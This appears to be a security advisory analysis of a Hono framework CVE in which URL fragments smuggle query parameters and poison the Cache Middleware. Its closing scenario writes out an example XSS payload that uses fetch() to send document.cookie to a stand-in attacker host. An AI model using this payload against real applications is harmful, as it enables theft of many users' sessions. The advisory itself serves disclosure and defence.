Hono CVE-2026-84363

Exploitation requires all three of the following conditions to be true simultaneously: (1) the Hono application runs on a runtime and behind intermediaries that forward the literal # character in request URLs to the application - Cloudflare Workers is explicitly confirmed safe; common Node.js/Bun/Deno deployments behind some reverse proxy configurations are potentially exposed; (2) Hono's Cache Middleware (cache()) is configured on the affected route - applications not using the Cache Middleware are not vulnerable to cache poisoning, though the parameter-smuggling discrepancy still exists for bypassing WAF/logging; and (3) for stored XSS impact specifically, the application reflects a c.req.query() value into cached HTML output without proper output escaping. The CVSS PR:N vector confirms no authentication is required from the attacker side. AC:H reflects the runtime/intermediary prerequisite, which is the primary limiter beyond software version.

The provided CVSS 5.9 (AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N) captures the cache-poisoning primitive accurately but understates the worst-case impact path: when the application reflects fragment-readable parameters into cached HTML without escaping, the result is stored XSS, which crosses a scope boundary into the victim's browser and enables confidentiality impact via session or credential theft. Accounting for stored XSS raises the effective severity. However, AC:H is well-justified and significantly limits practical risk: the attack requires a runtime and network path that forward the literal # character to the server - Cloudflare Workers, the dominant Hono deployment target, explicitly strips fragments and is confirmed unaffected. No EPSS score was provided and the CVE is not in CISA KEV, indicating no confirmed active exploitation. SSVC signals are low-urgency outside of non-Cloudflare deployments. Organizations running Hono on Node.js, Bun, or Deno behind reverse proxies that do not strip fragments (e.g., certain nginx or Caddy configurations) should treat this as a genuine priority due to the cache-poisoning amplification - a single attacker request can affect all subsequent users without further attacker interaction.

An attacker targeting a Node.js-hosted Hono application with the Cache Middleware enabled sends a GET request to a cached HTML route with a URL such as http://example.com/report#?title=<script>fetch('https://attacker.example/steal?c='+document.cookie)</script>. Hono reads title as a query parameter and reflects it unescaped into the HTML response; the Cache Middleware stores this response under the key http://example.com/report (fragment stripped), serving the XSS payload to every subsequent user who requests that page until the cache expires or is invalidated. No public exploit code has been identified at time of analysis.